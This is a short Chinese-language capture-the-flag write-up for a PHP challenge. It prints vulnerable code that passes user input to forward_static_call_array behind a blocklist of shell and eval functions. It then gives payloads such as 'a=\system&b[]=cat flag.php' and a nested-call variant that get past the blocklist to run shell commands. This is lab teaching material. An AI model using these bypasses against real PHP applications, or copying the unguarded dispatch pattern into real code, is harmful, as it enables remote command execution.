前言
很开心今天拿了一个一血,也谢谢Firebasky师傅的题目了
前置知识
在php当中默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
代码审计
简单分析
传入参数a与b,如果a不在黑名单当中,那么则会调用forward_static_call_array函数
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
function CTFSHOW_36_D($a,$b){
$dis = array("var_dump","exec","readfile","highlight_file","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","");
$a = strtolower($a);
if (!in_array($a,$dis,true)) {
forward_static_call_array($a,$b);
}else{
echo 'hacker';
}
}
CTFSHOW_36_D($a,$b);
函数说明以及预期解
从官方说明当中可以知道forward_static_call_array — Call a static method and pass the arguments as array,也就是可以调用静态方法并且将数组作为参数
参考前置知识因此我们不难想到payload:a=\system&b[]=ls
之后a=\system&b[]=cat flag.php
非预期解
从spaceman那里学到的套娃a=forward_static_call_array&b[0]=system&b[1][0]=ls